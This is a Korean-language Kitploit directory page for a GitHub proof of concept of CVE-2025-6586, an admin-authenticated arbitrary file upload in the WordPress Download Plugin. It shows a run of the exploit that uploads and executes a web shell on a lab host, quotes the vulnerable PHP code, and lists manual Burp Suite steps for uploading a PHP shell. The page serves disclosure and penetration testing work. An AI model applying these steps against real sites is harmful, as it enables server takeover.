Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-6586 — Download Plugin <= 2.2.8 - 인증된 (관리자+) 임의 파일 업로드 | Kitploit
도구/GitHubGitHub/d0n601/cve-2025-6586
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubd0n601/cve-2025-6586

CVE-2025-6586

Download Plugin <= 2.2.8 - 인증된 (관리자+) 임의 파일 업로드

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Download Plugin <= 2.2.8 - 인증된 (Admin+) 사용자의 dpwap_plugin_locInstall 함수를 통한 임의 파일 업로드

Download Plugin는 dpwap_plugin_locInstall 함수의 파일 유형을 검증하지 않습니다. 이 함수는 mul_upload 관리자 페이지를 통해 노출되며, 관리자 이상의 권한을 가진 사용자가 임의의 파일을 업로드하고 잠재적으로 서버에서 코드 실행을 얻을 수 있습니다.

TL;DR 익스플로잇

관리자가 shell.php라는 웹 셸을 업로드하는 과정을 보여주는 POC cve-2025-6586.py가 제공됩니다.

root@kitploit:~
python3 cve-2025-6586.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Web Shell Location: https://lab1.hacker/wp-
content/uploads/dpwap_logs/files/tmp/shell.php

Executing test command: ip addr
    <pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
v       alid_lft 75221sec preferred_lft 75221sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic
mngtmpaddr noprefixroute
        valid_lft 86354sec preferred_lft 14354sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
        valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
    link/ether 02:42:77:47:94:a5 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
        valid_lft forever preferred_lft forever
</pre>

세부 정보

dpwap_plugin_multiple_upload_func 함수는 mul_upload 관리자 페이지에 노출됩니다. /wp-content/plugins/download-plugin/app/Plugins/Base.php의 80번째 줄에서 이 함수는 multiple_upload_plugin.php를 포함합니다.

root@kitploit:~
// multiple upload function
public function dpwap_plugin_multiple_upload_func()
{
$dpwapObj = new Dpwapuploader();
$plugin_multiple_upload_file = DPWAP_DIR . DS . 'app' . DS .
'Plugins' . DS . 'templates' . DS . 'multiple_upload_plugin.php';
include_once $plugin_multiple_upload_file;
}

기본적으로 $plugin_multiple_upload_file의 전체 경로는 /wp- content/plugins/download-plugin/app/Plugins/templates/multiple_upload_plugin.php여야 합니다. 템플릿은 또한 $_POST['dpwap_locInstall']와 $_FILES['dpwap_locFiles']['name'][0]를 확인합니다. 해당 값이 존재하면 47번째 줄에서 HTML 양식을 구성하는 코드 내에서 $dpwapObj->dpwap_plugin_locInstall();를 호출합니다.

root@kitploit:~
...
...
<div class="inside">
    <?php
        if (isset($_POST['dpwap_locInstall']) && $_FILES['dpwap_locFiles']['name'][0] != ""){
        echo '<form id="form_alldpwap" name="form_alldpwap" method="post" action="admin.php?page=activate-status">';
        echo "<div class='dpwap_main'>";
        $dpwapObj->dpwap_plugin_locInstall();
        echo "</div>";
        echo '<input class="button button-primary dpwap_allactive"
type="submit" name="dpwap_locInstall" onclick="activateAllPLugins()"
value="'. esc_attr__('Activate all', 'download-plugin').'">';
        echo '</form>';
        }
    ?>
</div>
...
...

아래에서 볼 수 있듯이, /wp-content/plugins/download-plugin/app/Plugins/Dpwapuploader.php의 300번째 줄에 있는 dpwap_plugin_locInstall 함수는 업로드된 파일을 원래 파일 이름과 확장자를 유지한 채 웹에서 접근 가능한 디렉터리로 이동시킵니다. 예: https://TARGETSITEDOMAIN/wp-content/uploads/dpwap_logs/files/tmp/shell.php

root@kitploit:~
public function dpwap_plugin_locInstall(){
// Increase the resources
@ini_set( 'memory_limit', '1024M' );
@ini_set( 'upload_max_filesize', '640M' );
@ini_set( 'post_max_size', '640M' );
check_admin_referer( $this->key );
echo '<div class="dpwap_h3">'.esc_html__( 'Installing Plugins',
'download-plugin' ) .':</div>';
for ( $i = 0; $i < count( $_FILES['dpwap_locFiles']['name'] ); $i++
) {
$dpwap_locFilenm = sanitize_file_name($_FILES['dpwap_locFiles']
['name'][$i]);
if ( strpos( $dpwap_locFilenm, 'mpipluginsbackup' ) === false )
{
//Get the temp file path
$tmpFilePath = $_FILES['dpwap_locFiles']['tmp_name'][$i];
//Make sure we have a filepath
if ( $tmpFilePath != "" ) {
//Setup our new file path
$newFilePath =
DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/' . $dpwap_locFilenm;
//Upload the file into the temp dir
if( @move_uploaded_file( $tmpFilePath, $newFilePath ) )
{
$dpwap_tempurls[] =
DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/'.$dpwap_locFilenm;
}
}
}
else{
echo esc_html__('This is', 'download-plugin') .'
<b>'.esc_html($dpwap_locFilenm).'</b> '.esc_html__( 'not a valid zip
archive.', 'download-plugin' );
}
}
if( $dpwap_tempurls )
$this->dpwap_get_packages( $dpwap_tempurls, "activate", "nocreate",
"upload_locFiles" );
}

수동 재현

  1. 관리자 패널에 로그인하고 Plugins -> Add Plugin으로 이동합니다.
  2. 상단의 Upload Multiple Plugins를 클릭합니다. 이 버튼은 Download Plugin이 UI에 추가한 것입니다. 0
  3. 이제 /wp-admin/admin.php?page=mul_upload에서 BurpSuite 또는 유사한 프록시를 시작합니다. 1
  4. php 파일을 가져와 프런트엔드 검증을 통과하도록 확장자를 zip으로 바꾼 다음 Install Now를 클릭합니다. 2
  5. 가로챈 요청을 즉시 또는 Repeater 탭에서 수정하여 파일 확장자를 다시 php로 변경합니다. 3
  6. 새로 업로드된 파일을 열어 코드 실행을 트리거합니다. 4
도구 다운로드